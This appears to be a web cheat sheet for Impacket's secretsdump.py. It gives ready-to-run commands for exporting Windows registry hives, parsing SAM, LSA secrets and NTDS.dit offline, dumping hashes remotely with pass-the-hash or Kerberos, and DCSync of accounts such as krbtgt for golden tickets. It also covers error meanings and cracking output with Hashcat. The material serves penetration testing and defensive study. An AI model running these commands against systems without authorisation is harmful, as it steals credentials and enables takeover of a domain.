secretsdump.py cheat sheet: commands and examples
Impacket secretsdump.py / impacket-secretsdump reference: install it, dump SAM, SECURITY and NTDS.dit offline or remotely, DCSync, every flag, and the common errors.
A copy-paste reference for the most common secretsdump.py
(Impacket) invocations, grouped by
scenario. Replace the $VARIABLES with your own values. On Kali the command is
spelled impacket-secretsdump (see below); everything else is identical.
Installing and running it
secretsdump.py ships as one of Impacket's example scripts. How you invoke it
depends on how Impacket was installed:
-
Kali / Parrot. The distro's
impacketpackage installs the examples asimpacket-<name>wrappers onPATH, so the command isimpacket-secretsdump(a thin shim that calls the same script). Both names take the exact arguments below. -
pip / pipx (recommended upstream). Fortra recommends
pipxfor a system-wide install:python3 -m pipx install impacket # then the script is on PATH as: secretsdump.py -hA plain
pip install impacketworks too, but pins Impacket's dependencies into whatever environment you run it from. -
From a clone.
git clone https://github.com/fortra/impacketand runexamples/secretsdump.pydirectly, orpipx install .from the checkout. -
Windows
.exebuilds. Community PyInstaller bundles (for example Impacket "windows binaries" releases) packagesecretsdump.exeso you can run it without a Python install. Antivirus and EDR frequently flag these, both because PyInstaller stubs are a common malware packer and because the tool itself dumps credentials. Prefer running the Python script from a managed box, and expect detections if you drop the.exeon a target. -
No install at all. The offline
LOCALworkflows below are exactly what secretsdump.com runs in the browser — parsing is client-side, nothing is uploaded and there is no Python to set up.
Offline dumping from exported hives (LOCAL)
The LOCAL keyword tells secretsdump to parse hive files instead of connecting
to a host. You always need the SYSTEM hive (it holds the
boot key) plus whichever hive you
want to decrypt.
# SAM only (local account NT/LM hashes)
secretsdump.py -sam sam.save -system system.save LOCAL
# LSA secrets only (machine account, DPAPI keys, cached logons)
secretsdump.py -security security.save -system system.save LOCAL
# SAM + LSA together
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
# Include password history
secretsdump.py -sam sam.save -system system.save -history LOCAL
# Domain hashes from a stolen NTDS.dit (see how NTDS.dit stores hashes)
secretsdump.py -ntds ntds.dit -system system.save LOCAL
# Write results to files (creates <prefix>.sam, <prefix>.ntds, ...)
secretsdump.py -sam sam.save -system system.save -outputfile hashes LOCAL
The -ntds path parses a domain controller's database; for what that file is
and how the hashes are wrapped inside it, see
how NTDS.dit stores domain hashes. Not sure how to
read the result? See the
secretsdump output format breakdown.
Exporting the hives first
Offline dumping needs the hives on disk. From a live Windows host:
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
reg save HKLM\SYSTEM system.save
The SYSTEM hive is always required because it holds the
boot key that decrypts the other
two.
For a domain controller's NTDS.dit, use a Volume Shadow Copy (the file is
locked while the DC runs).
Remote dumping
Against a reachable host, secretsdump extracts SAM + LSA over the network:
# Password authentication
secretsdump.py "$DOMAIN/$USER:$PASSWORD@$TARGET"
# Local account authentication
secretsdump.py "./$USER:$PASSWORD@$TARGET"
# Pass-the-hash (NT hash only; LM half can be blank)
secretsdump.py -hashes ":$NTHASH" "$DOMAIN/$USER@$TARGET"
# Kerberos (uses the KRB5CCNAME ccache)
secretsdump.py -k -no-pass "$DOMAIN/$USER@$TARGET"
# When DNS is unhelpful, pin the IP
secretsdump.py -target-ip "$TARGET_IP" "$DOMAIN/$USER:$PASSWORD@$TARGET"
DCSync — domain hashes from a DC
With replication rights (Domain Admin, or a principal granted
DS-Replication-Get-Changes), secretsdump pulls hashes straight from a domain
controller without touching disk, using the DRSUAPI method:
# All domain accounts (NTLM + Kerberos keys)
secretsdump.py -just-dc "$DOMAIN/$USER:$PASSWORD@$DC"
# NTLM hashes only (skip Kerberos keys, faster)
secretsdump.py -just-dc-ntlm "$DOMAIN/$USER:$PASSWORD@$DC"
# A single account — e.g. the krbtgt for a golden ticket
secretsdump.py -just-dc-user krbtgt "$DOMAIN/$USER:$PASSWORD@$DC"
# Add account status and password-set dates
secretsdump.py -just-dc -user-status -pwd-last-set "$DOMAIN/$USER:$PASSWORD@$DC"
Full flag reference
The flags you will actually reach for, taken from secretsdump.py -h
(Impacket 0.12/0.13). The target is always
[[domain/]username[:password]@]<host> or the literal LOCAL.
Offline hives
| Flag | Purpose |
|---|---|
LOCAL | Parse hive files instead of connecting to a host |
-system | Path to the exported SYSTEM hive (always needed offline) |
-sam | Path to the exported SAM hive |
-security | Path to the exported SECURITY hive |
-ntds | Path to an exported NTDS.dit |
-bootkey | Supply the boot key directly instead of a SYSTEM hive |
NTDS / DCSync selection
| Flag | Purpose |
|---|---|
-just-dc | DCSync: NTLM hashes and Kerberos keys for every account |
-just-dc-ntlm | DCSync NTLM hashes only (faster, skips Kerberos keys) |
-just-dc-user USERNAME | DCSync a single account (e.g. krbtgt) |
-user-status | Mark whether each account is disabled |
-pwd-last-set | Show each account's pwdLastSet |
-history | Include password history (NTDS and SAM) |
-use-vss | Use the VSS/ntdsutil method instead of DRSUAPI |
-resumefile | Resume an interrupted NTDS dump from a resume file |
-outputfile | Base filename for output (see below) |
Authentication
| Flag | Purpose |
|---|---|
-hashes LMHASH:NTHASH | Pass-the-hash (the LM half may be blank, :NTHASH) |
-k | Use Kerberos auth, reading the ticket from KRB5CCNAME |
-no-pass | Don't prompt for a password (pair with -k) |
-aesKey HEX | Kerberos auth with an AES128/256 key |
Connection / remote exec
| Flag | Purpose |
|---|---|
-dc-ip IP | IP of the domain controller for name resolution |
-target-ip IP | IP of the target when DNS won't resolve it |
-exec-method {smbexec,wmiexec,mmcexec} | How the VSS method runs commands remotely (default smbexec) |
Common errors
The messages you will actually hit, with what each one means.
[-] RemoteOperations failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILUREWrong username, password or hash, or a local account that isn't valid on that host. Double-check the realm:DOMAIN/uservs./userfor a local account.rpc_s_access_denied(remote SAM/LSA dump) — you authenticated, but the account is not a local administrator on the target. SAM and LSA extraction needs admin on the box; a plain domain user cannot do it.DRSR SessionError: code: 0x2105 - ERROR_DS_DRA_ACCESS_DENIEDon-just-dc— the account lacks replication rights. DCSync needsDS-Replication-Get-ChangesandDS-Replication-Get-Changes-Allon the domain object (Domain Admins, Enterprise Admins and DCs have them by default).DRSR SessionError: ... ERROR_DS_DRA_BAD_DN— the-just-dc-username couldn't be resolved to an object. Check spelling; use thesAMAccountName.Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-userThe DC enforces SPN target-name validation, which blocks the full dump over the forged SMB/TGS path. As the message says, fall back to-just-dc-user <name>for the accounts you need.
Output files
By default secretsdump prints to the terminal. -outputfile hashes instead
writes one file per secret type, each with a fixed extension:
| File | Contents |
|---|---|
hashes.sam | Local account hashes (user:rid:lm:nt:::) |
hashes.secrets | LSA secrets and cached-logon material |
hashes.cached | Domain cached credentials ($DCC2$ / mscash) |
hashes.ntds | Domain account hashes from -ntds / -just-dc |
hashes.ntds.kerberos | Kerberos keys when dumping NTDS |
The .sam and .ntds files feed straight into Hashcat (mode 1000 for raw
NT). For a field-by-field breakdown of each line, see the
secretsdump output format guide.
Other tools
secretsdump is not the only way to do this; for pypykatz, gosecretsdump, NetExec, Mimikatz and the rest, see secretsdump alternatives compared.
Run it without installing anything
The offline LOCAL workflows above are exactly what
secretsdump.com reproduces in the browser — drop your SYSTEM, SAM,
SECURITY or NTDS.dit files onto the page and the parsing happens
client-side, with no Python install and nothing uploaded.